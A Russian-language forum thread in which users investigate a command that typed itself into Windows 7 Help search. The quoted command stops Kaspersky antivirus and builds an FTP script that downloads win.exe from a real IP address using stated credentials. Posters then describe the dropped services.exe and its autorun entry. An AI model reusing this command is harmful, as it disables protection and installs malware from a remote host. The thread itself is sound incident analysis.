про win.exe и как он попадает на машины.

Сегодня наблюдал вот такую картину, установил windows7 [сборка 7229].
Сижу ни кого не трогаю слушаю музыку через foobar. И тут система начинает сама выводить на передний план разные открытые окна, и так случилось что открылась служба спавки и поддержки, и в ней в строке поиска сама! без моего участия набралась строка
[QUOTE]net stop kavsvc &echo open 74.208.169.143 21 > il &echo user u52877190-d ddddddd >> il &echo binary >> il &echo get win.exe >> il &echo bye >> il &ftp -n -v -[/QUOTE]
видимо она должна была отработать в командной строке.
Одно успокоило "Каспера" на машине не использую. Вот такие дела...
Кстати ip реально существует и на нем поднят ftp сервер.

Хм, думаю, что либо Win7 была с трояном, либо у Вас работал троян.
Перешел на этот FTP. Ввел логин "u52877190-d" и пароль "ddddddd". Вроде правильные, но вылезло:
[IMG]http://clip2net.com/clip/m0/1245096796-clip-8kb.png[/IMG]

[size="1"][color="#666686"][B][I]Добавлено через 2 минуты[/I][/B][/color][/size]

Посоветовал бы выложить логи с этой машины.
Если конечно, AVZ и HijackThis будут работать на Win7.

[size="1"][color="#666686"][B][I]Добавлено через 8 минут[/I][/B][/color][/size]

[B]net stop kavsvc[/B] - команда "Выгрузить Касперского".

[size="1"][color="#666686"][B][I]Добавлено через 4 минуты[/I][/B][/color][/size]

Пока к серверу подключится не удалось...

[size="1"][color="#666686"][B][I]Добавлено через 1 минуту[/I][/B][/color][/size]

Используя ftp, пытаюсь подключится. Но не могу ввести пароль в окно консоли.

[size="1"][color="#666686"][B][I]Добавлено через 2 минуты[/I][/B][/color][/size]

Я попал на сервер! Там d.exe и win.exe

[size="1"][color="#666686"][B][I]Добавлено через 45 секунд[/I][/B][/color][/size]

d.exe = 84 Kb
win.exe = 0 Kb (???)

[size="1"][color="#666686"][B][I]Добавлено через 5 минут[/I][/B][/color][/size]

После запуска d.exe появилась папка C:\Program Files\Common Files\System с файлом services.exe и:
[URL=http://radikal.ru/F/i047.radikal.ru/0906/d7/d6a12dd34ac8.jpg.html][IMG]http://i047.radikal.ru/0906/d7/d6a12dd34ac8t.jpg[/IMG][/URL]
Спам-вирус?
Отключаю Интернет на виртуальном ПК во избежание неприятностей :)
services.exe прописался в HKLM Run как "Windows Update".

[size="1"][color="#666686"][B][I]Добавлено через 28 минут[/I][/B][/color][/size]

Блин, а папка System то системная :( Вот я ступил. Стер ее на виртуальном ПК несмотря на предостережение системы.

[url]http://www.virustotal.com/analisis/18ddcd6c9dfc91a655e3704ba14aee430bd766a2002a4adb81187e7566c46367-1245109890[/url]

Как ни странно эти вредоносные файлы легко удаляются с этого фтп сервера :)

Хотя конечно есть вероятность что они там скоро опять окажутся

VirCode, такая мысль была, но не стал...

[QUOTE]и в ней в строке поиска сама! без моего участия набралась строка[/QUOTE]

У тебя случаем RAdmin'а нет?)
А вообще забавно, наверное, это лицезреть :)
Очень похоже на действие [B]Sasser[/B], но что он забыл на Win7

(Совсем параноидально: А может это сами Microsoft делают?)

[QUOTE=Lexxus;417785] А может это сами Microsoft делают?[/QUOTE]
Вот засланцы :mosking: